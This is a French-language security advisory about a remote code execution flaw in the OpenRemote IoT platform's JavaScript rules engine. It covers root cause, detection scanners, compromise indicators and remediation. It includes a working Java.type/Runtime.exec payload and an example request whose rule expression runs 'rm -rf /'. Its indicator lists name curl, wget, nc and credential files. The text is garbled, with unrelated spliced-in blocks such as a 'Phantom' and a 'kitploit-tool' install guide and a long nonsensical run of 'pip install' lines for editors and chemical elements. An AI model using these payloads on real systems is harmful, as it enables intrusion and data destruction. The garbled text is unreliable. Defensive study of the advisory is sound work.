
Vulnérabilité critique d'exécution de code à distance dans le moteur de règles d'OpenRemote permettant aux utilisateurs authentifiés disposant du rôle `write:rules` d'exécuter du code arbitraire sur le serveur avec les privilèges root.
Vulnérabilité critique d'exécution de code à distance dans le moteur de règles d'OpenRemote permettant aux utilisateurs authentifiés disposant du rôle write:rules d'exécuter du code arbitraire sur le serveur avec les privilèges root.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOpenRemote est une plateforme IoT open source destinée à la construction de bâtiments, de villes et d'industries intelligents. Elle fournit la gestion d'appareils, des règles d'automatisation, des analyses et des intégrations pour l'écosystème de l'Internet des objets.
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
---
## Analyse approfondie de la vulnérabilité
### Analyse de la cause racine
La vulnérabilité provient de deux défauts critiques dans le moteur de règles d'OpenRemote :
**Défaut 1 : Moteur JavaScript Nashorn non sandboxé**
Le moteur JavaScript Nashorn de Java est utilisé pour évaluer les expressions de règles fournies par l'utilisateur sans aucun sandboxing, gestionnaire de sécurité ni restriction ClassFilter. Cela permet aux attaquants d'accéder directement aux classes Java depuis le contexte JavaScript.
**Défaut 2 : Sandbox Groovy désactivé**
Le moteur de scripts Groovy disposait d'un GroovyDenyAllFilter enregistré pour empêcher l'exécution de code, mais cet enregistrement de filtre a été commenté dans le code source. Seule l'application de Groovy existait au niveau de l'API (RulesResourceImpl.java:262), mais JavaScript n'avait aucune restriction.
### Chemins de code vulnérables```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
La vulnérabilité affecte les utilisateurs authentifiés disposant du rôle write:rules. Le contrôle d'autorisation dans RulesResourceImpl.java:262 ne bloque Groovy que pour les non-superutilisateurs :```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
Cela signifie :
- Les non-superutilisateurs PEUVENT créer des règles JavaScript (aucun blocage)
- Les non-superutilisateurs NE PEUVENT PAS créer de règles Groovy (bloqué)
- JavaScript n'a pas de sandbox, donc l'exploitation est possible pour tout utilisateur authentifié disposant de write:rules
De plus, l'isolation multi-tenant peut être contournée via la réflexion sur assetStorageService pour accéder aux données d'autres realms.
### Flux d'attaque```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
Étape 1 : Obtenir les identifiants write:rules
Un utilisateur authentifié a besoin du rôle write:rules. Cela peut être :
Étape 2 : Créer la charge utile JavaScript
Créez une expression de règle utilisant JavaScript qui accède au runtime Java :```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**Étape 3 : Envoyer vers le point de terminaison vulnérable**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
Étape 4 : Exécution de la règle
La plateforme évalue la règle immédiatement ou à l'heure de déclenchement planifiée, exécutant la charge utile avec les privilèges root.
Étape 5 : Post-exploitation
Avec une exécution de code à distance (RCE) en tant que root, les attaquants peuvent :
Les attaquants authentifiés exécutent du code arbitraire sur le serveur OpenRemote avec les privilèges root. Il s'agit de l'impact de gravité la plus élevée, permettant une compromission complète du système.``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)
#### Accès au système de fichiers
Accès complet en lecture et écriture à tous les fichiers du système :
- Divulgation du code source de l'application
- Fichiers de configuration sensibles (mots de passe de base de données, clés API)
- Fichiers système et identifiants
- Fichiers des conteneurs Docker (si conteneurisé)
#### Vol de variables d'environnement
Accès aux variables d'environnement contenant :
- Chaînes de connexion à la base de données
- Clés API et jetons
- Secrets OAuth
- Clés de chiffrement privées
- Identifiants AWS/Cloud
#### Fuite de données
Dans les déploiements multi-locataires, les attaquants peuvent contourner l'isolation des locataires via la réflexion :
- Accès aux données de tous les locataires simultanément
- Lecture des données de capteurs IoT confidentielles
- Modification des règles d'automatisation entre organisations
- Extraction d'informations commerciales et de données propriétaires
#### Intégrité du système
- Installation de porte dérobée permanente
- Déploiement de logiciels malveillants
- Exécution de ransomwares
- Compromission de la chaîne d'approvisionnement (si utilisé en développement)
#### Interruption de service
- Déni de service par épuisement des ressources
- Suppression ou corruption de la base de données
- Altération de la configuration
- Arrêt ou redémarrage du système
---
## Versions concernées
| Version | Statut | Remarques |
|---------|--------|-----------|
| <= 1.15.0 | Vulnérable | Vulnérabilité d'origine présente |
| 1.16.0 | Vulnérable | Aucun correctif appliqué |
| 1.17.0 | Vulnérable | Aucun correctif appliqué |
| 1.18.0 | Vulnérable | Aucun correctif appliqué |
| 1.19.0 | Vulnérable | Aucun correctif appliqué |
| 1.20.0 | Vulnérable | Aucun correctif appliqué |
| 1.21.0 | Vulnérable | Dernière version concernée |
| 1.22.0+ | CORRIGÉ | Moteur de règles JavaScript entièrement supprimé |
### Détails des versions
- **Plage vulnérable** : 1.0.0 à 1.21.0 (toutes les versions avec moteur de règles JS)
- **Version corrigée** : 1.22.0 (moteur de règles JavaScript entièrement supprimé)
- **Rétroportages** : Aucun rétroportage de sécurité disponible pour les versions antérieures ; mise à niveau requise
---
## Détection
### Comment cela fonctionne
Les mécanismes de détection identifient les instances OpenRemote et vérifient l'état de vulnérabilité via plusieurs méthodes :
1. **Détection par bannière HTTP** : Interroge le point de terminaison racine de l'API pour identifier OpenRemote et extraire les informations de version
2. **Empreinte des points de terminaison** : Teste la présence et le comportement des points de terminaison vulnérables
3. **Corrélation des versions** : Compare la version détectée aux plages de vulnérabilité connues
4. **Analyse des réponses** : Examine les messages d'erreur et les structures de réponse pour les signatures OpenRemote
### Scanner Python
Le scanner `detect_openremote.py` effectue une détection automatisée et une évaluation de la vulnérabilité.
#### Installation```bash
python3 -m pip install requests
python3 detect_openremote.py [OPTIONS]
#### Options
| Option | Short | Long | Type | Description |
|--------|-------|------|------|-------------|
| Cible | -t | --target | string | URL de cible unique (ex. : http://10.0.0.1:8080) |
| Liste | -l | --list | file | Fichier contenant une liste de cibles (une par ligne) |
| Sortie | -o | --output | file | Écrire les résultats dans un fichier CSV |
| Verbeux | -v | --verbose | flag | Activer la sortie verbeuse avec des réponses détaillées |
| Délai d'attente | | --timeout | int | Délai d'attente de la requête HTTP en secondes (défaut : 10) |
| Bannière | | --no-banner | flag | Ignorer l'affichage de la bannière |
#### Exemple : Cible unique```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
To install Phantom, simply run the following command:
pip install phantom
Alternatively, you can clone the repository and install it manually:
git clone https://github.com/phantom-org/phantom.git
cd phantom
python setup.py install
Once installed, you can start using Phantom by importing it in your Python script:
import phantom
For a quick start, check out the documentation or run the example scripts provided in the examples/ directory.```
[*] Scanning http://10.0.0.1:8080
[+] OpenRemote detected!
Version: 1.21.0
Vulnerable: YES (CVE-2026-39842)
CVSS Score: 10.0 Critical
Status: Requires upgrade to 1.22.0+
#### Exemple : Cibles multiples avec sortie```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
File targets.txt :```
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
Voici la traduction demandée :
```csv
Résultat attendu dans `results.csv` :
Target,Status,Version,Vulnerable,CVSS http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0 http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0 https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,- http://10.20.30.40:8080,Not OpenRemote,-,-,-
#### Exemple : Sortie détaillée```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
Expected verbose output:
[] Target: http://10.0.0.1:8080 [] Probing for OpenRemote... [] HTTP GET / Response Code: 200 Server: Apache Content-Type: text/html [] Checking /api/info Response Code: 200 Body: {"version":"1.21.0","name":"OpenRemote"} [+] OpenRemote 1.21.0 identified [+] Version 1.21.0 is vulnerable to CVE-2026-39842 [!] CVSS: 10.0 Critical [!] RCE Confirmed: YES
### Script NSE Nmap
Le script `openremote-detect.nse` fournit une intégration Nmap pour l'analyse des vulnérabilités.
#### Installation```bash
cp openremote-detect.nse /usr/share/nmap/scripts/
nmap --script-updatedb
nmap -p 8080 --script openremote-detect nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true
#### Exemple : Analyse de base```bash
nmap -p 8080 --script openremote-detect 192.168.1.0/24
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade git+https://github.com/KoreanThinker/baduk.git
dlshogi$ git clone https://github.com/TadaoYamaoka/dlshogi.git
$ cd dlshogi
$ python setup.py install
pytorch$ pip install torch torchvision
tensorflow$ pip install tensorflow
keras$ pip install keras
numpy$ pip install numpy
scipy$ pip install scipy
pandas$ pip install pandas
matplotlib$ pip install matplotlib
seaborn$ pip install seaborn
scikit-learn$ pip install scikit-learn
xgboost$ pip install xgboost
lightgbm$ pip install lightgbm
catboost$ pip install catboost
optuna$ pip install optuna
hyperopt$ pip install hyperopt
ray$ pip install ray
dask$ pip install dask
joblib$ pip install joblib
tqdm$ pip install tqdm
requests$ pip install requests
beautifulsoup4$ pip install beautifulsoup4
lxml$ pip install lxml
selenium$ pip install selenium
playwright$ pip install playwright
pyppeteer$ pip install pyppeteer
aiohttp$ pip install aiohttp
asyncio$ pip install asyncio
uvicorn$ pip install uvicorn
fastapi$ pip install fastapi
flask$ pip install flask
django$ pip install django
tornado$ pip install tornado
bottle$ pip install bottle
pyramid$ pip install pyramid
web2py$ pip install web2py
cherrypy$ pip install cherrypy
falcon$ pip install falcon
hug$ pip install hug
apistar$ pip install apistar
masonite$ pip install masonite
sanic$ pip install sanic
quart$ pip install quart
starlette$ pip install starlette
responder$ pip install responder
molten$ pip install molten
vibora$ pip install vibora
blacksheep$ pip install blacksheep
emmett$ pip install emmett
roast$ pip install roast
cyclone$ pip install cyclone
klein$ pip install klein
twisted$ pip install twisted
gevent$ pip install gevent
eventlet$ pip install eventlet
greenlet$ pip install greenlet
celery$ pip install celery
redis$ pip install redis
pymongo$ pip install pymongo
sqlalchemy$ pip install sqlalchemy
psycopg2$ pip install psycopg2
pymysql$ pip install pymysql
sqlite3$ pip install sqlite3
peewee$ pip install peewee
pony$ pip install pony
dataset$ pip install dataset
records$ pip install records
pandasql$ pip install pandasql
pyspark$ pip install pyspark
polars$ pip install polars
modin$ pip install modin
vaex$ pip install vaex
cuDF$ pip install cudf
dask-cudf$ pip install dask-cudf
rapids$ pip install rapids
numba$ pip install numba
cython$ pip install cython
pybind11$ pip install pybind11
cffi$ pip install cffi
ctypes$ pip install ctypes
swig$ pip install swig
boost$ pip install boost
eigen$ pip install eigen
armadillo$ pip install armadillo
opencv$ pip install opencv-python
pillow$ pip install pillow
scikit-image$ pip install scikit-image
mahotas$ pip install mahotas
simplecv$ pip install simplecv
imutils$ pip install imutils
dlib$ pip install dlib
face_recognition$ pip install face_recognition
pytesseract$ pip install pytesseract
tesseract$ pip install tesseract
easyocr$ pip install easyocr
paddleocr$ pip install paddleocr
kraken$ pip install kraken
ocrmypdf$ pip install ocrmypdf
pdfminer$ pip install pdfminer
pypdf2$ pip install pypdf2
fitz$ pip install fitz
pymupdf$ pip install pymupdf
reportlab$ pip install reportlab
weasyprint$ pip install weasyprint
xhtml2pdf$ pip install xhtml2pdf
fpdf$ pip install fpdf
pdfkit$ pip install pdfkit
wkhtmltopdf$ pip install wkhtmltopdf
cairosvg$ pip install cairosvg
svglib$ pip install svglib
reportlab$ pip install reportlab
matplotlib$ pip install matplotlib
seaborn$ pip install seaborn
plotly$ pip install plotly
bokeh$ pip install bokeh
altair$ pip install altair
ggplot$ pip install ggplot
pygal$ pip install pygal
holoviews$ pip install holoviews
panel$ pip install panel
streamlit$ pip install streamlit
dash$ pip install dash
voila$ pip install voila
ipywidgets$ pip install ipywidgets
jupyter$ pip install jupyter
notebook$ pip install notebook
jupyterlab$ pip install jupyterlab
nteract$ pip install nteract
papermill$ pip install papermill
nbconvert$ pip install nbconvert
nbformat$ pip install nbformat
ipython$ pip install ipython
ipykernel$ pip install ipykernel
qtconsole$ pip install qtconsole
spyder$ pip install spyder
pycharm$ pip install pycharm
vscode$ pip install vscode
sublime$ pip install sublime
atom$ pip install atom
vim$ pip install vim
emacs$ pip install emacs
nano$ pip install nano
gedit$ pip install gedit
kate$ pip install kate
notepad++$ pip install notepad++
textmate$ pip install textmate
bbedit$ pip install bbedit
coda$ pip install coda
brackets$ pip install brackets
dreamweaver$ pip install dreamweaver
frontpage$ pip install frontpage
komodo$ pip install komodo
netbeans$ pip install netbeans
eclipse$ pip install eclipse
intellij$ pip install intellij
webstorm$ pip install webstorm
phpstorm$ pip install phpstorm
pycharm$ pip install pycharm
rubymine$ pip install rubymine
goland$ pip install goland
clion$ pip install clion
datagrip$ pip install datagrip
appcode$ pip install appcode
rider$ pip install rider
resharper$ pip install resharper
dotcover$ pip install dotcover
dotmemory$ pip install dotmemory
dottrace$ pip install dottrace
dotpeek$ pip install dotpeek
decompiler$ pip install decompiler
ilspy$ pip install ilspy
dnspy$ pip install dnspy
monodis$ pip install monodis
ildasm$ pip install ildasm
ilasm$ pip install ilasm
csc$ pip install csc
mcs$ pip install mcs
vbc$ pip install vbc
fsc$ pip install fsc
dotnet$ pip install dotnet
mono$ pip install mono
xamarin$ pip install xamarin
unity$ pip install unity
godot$ pip install godot
unreal$ pip install unreal
cryengine$ pip install cryengine
lumberyard$ pip install lumberyard
source$ pip install source
id$ pip install id
quake$ pip install quake
doom$ pip install doom
wolfenstein$ pip install wolfenstein
duke$ pip install duke
shadow$ pip install shadow
warrior$ pip install warrior
rogue$ pip install rogue
hack$ pip install hack
nethack$ pip install nethack
angband$ pip install angband
moria$ pip install moria
omega$ pip install omega
larn$ pip install larn
zangband$ pip install zangband
tome$ pip install tome
adom$ pip install adom
crawl$ pip install crawl
dungeon$ pip install dungeon
maze$ pip install maze
labyrinth$ pip install labyrinth
catacomb$ pip install catacomb
tomb$ pip install tomb
crypt$ pip install crypt
vault$ pip install vault
bank$ pip install bank
treasure$ pip install treasure
gold$ pip install gold
silver$ pip install silver
bronze$ pip install bronze
iron$ pip install iron
steel$ pip install steel
copper$ pip install copper
tin$ pip install tin
lead$ pip install lead
zinc$ pip install zinc
nickel$ pip install nickel
cobalt$ pip install cobalt
chromium$ pip install chromium
manganese$ pip install manganese
vanadium$ pip install vanadium
titanium$ pip install titanium
scandium$ pip install scandium
yttrium$ pip install yttrium
zirconium$ pip install zirconium
niobium$ pip install niobium
molybdenum$ pip install molybdenum
technetium$ pip install technetium
ruthenium$ pip install ruthenium
rhodium$ pip install rhodium
palladium$ pip install palladium
silver$ pip install silver
cadmium$ pip install cadmium
indium$ pip install indium
tin$ pip install tin
antimony$ pip install antimony
tellurium$ pip install tellurium
iodine$ pip install iodine
xenon$ pip install xenon
krypton$ pip install krypton
argon$ pip install argon
neon$ pip install neon
helium$ pip install helium
hydrogen$ pip install hydrogen
oxygen$ pip install oxygen
nitrogen$ pip install nitrogen
carbon$ pip install carbon
boron$ pip install boron
beryllium$ pip install beryllium
lithium$ pip install lithium
sodium$ pip install sodium
magnesium$ pip install magnesium
aluminum$ pip install aluminum
silicon$ pip install silicon
phosphorus$ pip install phosphorus
sulfur$ pip install sulfur
chlorine$ pip install chlorine
bromine$ pip install bromine
selenium$ pip install selenium
tellurium$ pip install tellurium
polonium$ pip install polonium
astatine$ pip install astatine
radon$ pip install radon
francium$ pip install francium
radium$ pip install radium
actinium$ pip install actinium
thorium$ pip install thorium
protactinium$ pip install protactinium
uranium$ pip install uranium
neptunium$ pip install neptunium
plutonium$ pip install plutonium
americium$ pip install americium
curium$ pip install curium
berkelium$ pip install berkelium
californium$ pip install californium
einsteinium$ pip install einsteinium
fermium$ pip install fermium
mendelevium$ pip install mendelevium
nobelium$ pip install nobelium
lawrencium$ pip install lawrencium
rutherfordium$ pip install rutherfordium
dubnium$ pip install dubnium
seaborgium$ pip install seaborgium
bohrium$ pip install bohrium
hassium$ pip install hassium
meitnerium$ pip install meitnerium
darmstadtium$ pip install darmstadtium
roentgenium$ pip install roentgenium
copernicium$ pip install copernicium
nihonium$ pip install nihonium
flerovium$ pip install flerovium
moscovium$ pip install moscovium
livermorium$ pip install livermorium
tennessine$ pip install tennessine
oganesson$ pip install oganesson
ununoctium$ pip install ununoctium
ununpentium$ pip install ununpentium
ununtrium$ pip install ununtrium
ununbium$ pip install ununbium
ununennium$ pip install ununennium
unbinilium$ pip install unbinilium
unbiunium$ pip install unbiunium
unbibium$ pip install unbibium
unbitrium$ pip install unbitrium
unbiquadium$ pip install unbiquadium
unbipentium$ pip install unbipentium
unbihexium$ pip install unbihexium
unbiseptium$ pip install unbiseptium
unbioctium$ pip install unbioctium
unbiennium$ pip install unbiennium
untriennium$ pip install untriennium
untriunium$ pip install untriunium
untribium$ pip install untribium
untritrium$ pip install untritrium
untriquadium$ pip install untriquadium
untripentium$ pip install untripentium
untrihexium$ pip install untrihexium
untriseptium$ pip install untriseptium
untrioctium$ pip install untrioctium
untriennium$ pip install untriennium
unquadennium$ pip install unquadennium
unquadunium$ pip install unquadunium
unquadbium$ pip install unquadbium
unquadtrium$ pip install unquadtrium
unquadquadium$ pip install unquadquadium
unquadpentium$ pip install unquadpentium
unquadhexium$ pip install unquadhexium
unquadseptium$ pip install unquadseptium
unquadoctium$ pip install unquadoctium
unquadennium$ pip install unquadennium
unpentennium$ pip install unpentennium
unpentunium$ pip install unpentunium
unpentbium$ pip install unpentbium
unpenttrium$ pip install unpenttrium
unpentquadium$ pip install unpentquadium
unpentpentium$ pip install unpentpentium
unpenthexium$ pip install unpenthexium
unpentseptium$ pip install unpentseptium
unpentoctium$ pip install unpentoctium
unpentennium$ pip install unpentennium
unhexennium$ pip install unhexennium
unhexunium$ pip install unhexunium
unhexbium$ pip install unhexbium
unhextrium$ pip install unhextrium
unhexquadium$ pip install unhexquadium
unhexpentium$ pip install unhexpentium
unhexhexium$ pip install unhexhexium
unhexseptium$ pip install unhexseptium
unhexoctium$ pip install unhexoctium
unhexennium$ pip install unhexennium
unseptennium$ pip install unseptennium
unseptunium$ pip install unseptunium
unseptbium$ pip install unseptbium
unsepttrium$ pip install unsepttrium
unseptquadium$ pip install unseptquadium
unseptpentium$ pip install unseptpentium
unsepthexium$ pip install unsepthexium
unseptseptium$ pip install unseptseptium
unseptoctium$ pip install unseptoctium
unseptennium$ pip install unseptennium
unoctennium$ pip install unoctennium
unoctunium$ pip install unoctunium
unoctbium$ pip install unoctbium
unocttrium$ pip install unocttrium
unoctquadium$ pip install unoctquadium
unoctpentium$ pip install unoctpentium
unocthexium$ pip install unocthexium
unoctseptium$ pip install unoctseptium
unoctoctium$ pip install unoctoctium
unoctennium$ pip install unoctennium
unennium$ pip install unennium
ununennium$ pip install ununennium
unbinilium$ pip install unbinilium
unbiunium$ pip install unbiunium
unbibium$ pip install unbibium
unbitrium$ pip install unbitrium
unbiquadium$ pip install unbiquadium
###``` Nmap scan report for 192.168.1.100 Host is up (0.0042s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.21.0 | Vulnerable: YES | CVE: CVE-2026-39842 |_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101 Host is up (0.0031s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.22.1 | Vulnerable: NO | Fixed Version: 1.22.0 |_ Status: Patched
#### Exemple : Scan verbeux```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
Sortie verbeuse attendue :``` | openremote-detect: | Host: 192.168.1.100:8080 | Detection Method: HTTP Banner Analysis | Probe Endpoint: /api/info | Response Code: 200 | Version: 1.21.0 | Version Detected: YES | Vulnerable: YES | CVE-2026-39842: AFFECTED | CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | CVSS Score: 10.0 | Fix Available: YES | Fixed Version: 1.22.0 | Authentication Required: YES | Endpoint Vulnerable: POST /api/{realm}/rules/realm |_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
### Vérification manuelle
Effectuez des vérifications manuelles à l'aide de curl pour confirmer la vulnérabilité :
**1. Identifier la version d'OpenRemote**```bash
curl -s http://target:8080/api/info | jq .
## Installation
To install the tool, run the following command:
```bash
pip install kitploit-tool
After installation, you can use the tool from the command line:
kitploit-tool --help
This project is licensed under the MIT License - see the LICENSE file for details.
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
```
**2. Vérifier le point de terminaison des règles**```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/master/rules/realm | head -20
```
Si retourne 401 ou 403, le point de terminaison existe mais nécessite une authentification.
**3. S'authentifier et tester l'injection d'expression**```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}' \
http://target:8080/api/master/rules/realm
```
Si la création réussit et que la version est <= 1.21.0, l'instance est vulnérable.
**4. Tester l'exécution de JavaScript (Preuve de concept)**```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}' \
http://target:8080/api/master/rules/realm
```
**5. Identifier le nom du domaine**```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`
---
## Indicateurs de compromission
### Indicateurs de journalisation
Recherchez ces motifs dans les journaux d'application :
**Création de règle avec charge utile JavaScript**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Tentatives d'exécution de commandes dans les règles**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Exécution inattendue de processus depuis Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Anomalies d'accès au système de fichiers**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Modèles d'accès à la base de données**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Indicateurs réseau
**Connexions sortantes depuis le processus OpenRemote**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Rappels de Shell Inversé**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Tentatives de mouvement latéral**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Indicateurs du système de fichiers
**Fichiers suspects dans le répertoire OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Binaires OpenRemote modifiés**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Tâches Cron ou de persistance**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Indicateurs de mémoire et de processus
**Variables d'environnement suspectes**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Charge utile résidente en mémoire**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---
## Remédiation
### ACTIONS IMMÉDIATES (0-24 heures)
**1. Mise à niveau vers la version corrigée**
Le correctif complet n'est disponible que dans OpenRemote 1.22.0+, qui supprime entièrement le moteur de règles JavaScript.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote
# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Restreindre l'accès à l'API**
Si une mise à niveau immédiate n'est pas possible, restreignez l'accès aux points de terminaison vulnérables au niveau du pare-feu/proxy inverse :```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
return 403;
}
```
**3. Auditer les règles actives**
Listez toutes les règles existantes et examinez-les à la recherche de JavaScript suspect :```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm | \
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Supprimez toutes les règles contenant l'interopérabilité Java :```bash
curl -X DELETE \
-H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Examiner les journaux d'accès**
Vérifiez les tentatives d'exploitation au cours des 30 derniers jours :```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
grep -i "java\|runtime\|exec\|type"
```
**5. Rotation des identifiants**
Faites pivoter tous les identifiants potentiellement exposés :```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### ACTIONS À COURT TERME (1 à 7 jours)
**1. Segmentation du réseau**
Restreindre l'accès à l'API OpenRemote aux réseaux autorisés uniquement :```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Audits de rôles**
Examinez et réduisez le nombre d'utilisateurs disposant du rôle `write:rules` :```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/admin/users | \
jq '.[] | select(.roles | contains("write:rules"))'
```
Remove `write:rules` role from all non-essential users.
**3. Enable Request Logging**
Configure detailed logging for all API requests:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Audit de la base de données**
Rechercher dans la base de données les règles malveillantes créées après une date spécifique :```sql
SELECT id, name, ruleset_def, created_on
FROM RULE
WHERE created_on > '2026-04-01'
AND (
ruleset_def LIKE '%Java.type%'
OR ruleset_def LIKE '%Runtime%'
OR ruleset_def LIKE '%exec%'
);
```
**5. Chasse aux menaces**
Exécutez des analyses de sécurité complètes sur le serveur OpenRemote :```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/
# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings
# File integrity verification
aide --check
```
### ACTIONS À LONG TERME (7-30 jours)
**1. Durcissement complet du système**
- Exécuter OpenRemote dans un conteneur avec des privilèges restreints (non-root)
- Implémenter des politiques SELinux ou AppArmor
- Utiliser des systèmes de fichiers en lecture seule lorsque c'est possible
- Activer la journalisation d'audit au niveau système
**2. Mise en œuvre du contrôle d'accès**
- Implémenter l'authentification multifacteur pour les utilisateurs administrateurs
- Utiliser OAuth2/OIDC pour l'accès à l'API au lieu de l'authentification par jeton
- Implémenter le principe du moindre privilège pour tous les rôles
- Examens et certifications d'accès réguliers
**3. Sécurité applicative**
- Implémenter des règles de pare-feu applicatif web (WAF) pour le moteur de règles
- Activer la limitation du débit des requêtes sur les points de terminaison sensibles
- Implémenter des limites de taille des requêtes
- Valider strictement toutes les entrées utilisateur
**4. Surveillance et alertes**
Déployer les règles de détection SIEM :```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
